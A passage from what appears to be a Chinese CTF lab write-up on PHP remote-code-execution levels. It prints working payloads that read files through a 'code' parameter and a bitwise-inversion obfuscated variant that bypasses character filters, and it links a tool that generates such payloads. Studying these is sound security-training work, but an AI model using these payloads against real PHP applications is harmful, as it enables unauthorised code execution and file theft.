?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));
同样的,现在是将获得到的数组传给
array_flip() 将数组中的键与值互换,即将flag文件放在了键的位置上
array_rand() 随机取出一个数组中的元素,只要随机到flag,然后传入
show_source() 然后直接查看目标flag文件得到flag

Level 25 : PHP 特性 - 取反绕过

https://probiusofficial.github.io/PHP-inversion/ 给了在线工具,不过还是建议去项目仓库把工具保存在本地

脚本仓库:https://github.com/ProbiusOfficial/PHP-inversion

然后直接将Level 24中的payload输入进去得到新的payload后直接替换即可

最终结果可能会出现大量报错,只需要拉到报错的最下面可以发现代码仍然是执行了,多roll几次就出来了

1
?code=[~%8C%97%90%88%A0%8C%90%8A%8D%9C%9A][!%FF]([~%9E%8D%8D%9E%86%A0%8D%9E%91%9B][!%FF]([~%9E%8D%8D%9E%86%A0%99%93%96%8F][!%FF]([~%8C%9C%9E%91%9B%96%8D][!%FF]([~%9C%8A%8D%8D%9A%91%8B][!%FF]([~%93%90%9C%9E%93%9A%9C%90%91%89][!%FF]())))));

Level 26 : PHP 特性 - 无字母数字的代码执行

本文作者:River Cygnus

本文链接:http://example.com/2025/12/26/Web/rce_level/

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明出处!

ESC 关闭 | 导航 | Enter 打开
输入关键词开始搜索